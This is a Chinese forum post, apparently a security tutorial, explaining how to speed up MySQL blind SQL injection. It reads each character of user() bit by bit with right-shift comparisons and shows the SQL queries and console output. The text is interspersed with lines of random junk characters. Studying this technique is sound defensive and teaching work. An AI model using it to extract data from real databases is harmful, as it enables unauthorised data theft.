关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


7 n  U" t) X" J
) E5 X( G1 }3 @/ X$ v& f$ ?# S下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


# j; @6 t: V- E* b% O! q
( r1 F1 U; B8 ^& J6 w) |" M首先执行如下sql语句:

8 \4 ]! y( ~7 {$ Z
9 r0 e( A- L# S& E7 h% A4 v8 _
! @; y3 A1 o. I+ R: f0 dmysql> select (ascii((substr(user(),1,1))) >> 7)=0;



我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


9 [, n6 e- C3 [/ X* l
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


$ ~( @4 T0 W- z1 D( c7 S
* Y& R- t5 N0 I9 a+ w  F3 P, c如果运算结果为1,说明第一位为0,不为1

6 D. M3 b7 X  C8 D6 b5 f* B

+ n4 a+ x: m- \3 F/ L* P+————————————–+

8 Z1 \! I  j! R& _1 B/ ?2 l5 t| (ascii((substr(user(),1,1))) >> 7)=0 |
. J/ \: ?# {; m/ _. S4 h6 o
% W6 L# g# X. K0 V7 H+————————————–+
7 g; R1 l% B6 U" ~0 m. {8 N6 S
| 1 |

# v9 f+ t; {; M9 i+————————————–+
0 t0 W& L9 u. R6 B
0 o+ [& f: N8 X; \2 J% R& A6 b* M2 j- M1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0



; D' m# J# I4 x: d8 H- B) ?- I- i( _第二次我们来做6次右偏移来确定前两位


' E# ~( }- K" B6 H4 a2 Q+ A
前两位可能是01或00,即依然可以与0做比较,
  R: m) M* J* ~+ A0 }4 C' x+ A! ]
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

# V! E# e' D7 o: A+————————————–+
5 M% c; Q2 G' Y/ L* }' S( [
| (ascii((substr(user(),1,1))) >> 6)=0 |
+ w- s+ {) U9 v# G: X/ u: }
+————————————–+

( x$ \6 A6 J6 V8 F3 W| 0 |
7 I* O" G: w/ b( z
5 h# N: `/ d; }' c& U0 i+————————————–+
8 N% Y9 B5 t1 d+ h7 h* w
- {& |  c0 e% g9 j* h3 R1 row in set (0.00 sec)

( `9 D& |. n  t2 \# Q0 r
8 I2 g9 z. N- B3 C' e# C" q1 t
结果为0,即第二位为1
6 q" U/ E0 t  u

, J6 D; R/ d# N: T6 g
开始猜测前三位为010或011
& X; {& \$ _; N' ]  f  f" n- F
( y# p0 F% p# N4 H; U
/ p9 o1 b3 M4 J& y7 I
让我们看看010和011的ascii码是多少
8 e2 L7 [" w8 U
, o2 \5 ~& k% s- z8 h( i

2 T! \0 l# E( B0 M3 v分别查询select b’011′ select b’010′

* n7 ~% b3 P2 C5 ?; J% N

& j; m, y5 j' N! e9 B获得结果 010 = 2 011 = 3
: d& G9 g% q/ H" t( O
- z  P/ @3 {- p  E! j9 e# {6 u
, `, l! y! s$ v  o
; i5 @& U7 {4 u$ Y- L7 t执行如下sql:


7 r# C  u) M4 M' _/ U, |
1 V: N9 t2 s: V/ d. @. ]mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
. |: a  |# {. a9 w+ r, q% O( h) c3 p
6 O0 J" ~, a& R' }+————————————–+
( Z$ Q" Q: x% J- F
| (ascii((substr(user(),1,1))) >> 5)=2 |

8 [  t6 j0 ~4 n; a1 S+————————————–+

| 0 |
; D& M; D7 P3 i  ]
+————————————–+

即前三位不为010,而是011


) u) X  D: T( G8 O, e0 p
2 A& ^7 \% x, O" d1 ~直到获得最后一位


7 A3 [: A% Z+ L
' {) Z7 v# ?: g最终结果为:01110010
- A9 n0 O3 w+ o4 E" U* L4 I3 s


& b- D# \8 s# a  [/ k+ p转换一下:
& k  q- s: y& \3 z# G7 G. w% S
. e7 e( p: w8 m% S& t! x3 {

0 y5 N5 B2 B$ A6 |, X4 y$ wselect b’01110010′


' g, A! g) ~6 ^2 ]2 }
查询结果
! ?2 `' S* m8 z& [( b( J2 g

9 `% B  p) @" Q4 a  M& f7 l& s
+————-+

| b’01110010′ |
" T+ n& W; A: E: y  b
+————-+

| r |
9 p/ K1 W; {5 R( _. l  g
+————-+

" r/ g3 y) ^7 [) n2 @, C! V1 row in set (0.00 sec)
  M# V  e7 x3 {" H4 A' {9 A+ Q6 f
5 Q4 A* o+ J& }9 \* x$ X
9 t: F' R' l$ U, S7 d
' W. e; d  I4 w' Q/ m这样我们就获得了user()的第一位.其它位依此类推
( O, B, }" c" s. C" \
7 f7 }, q8 \6 S' k" N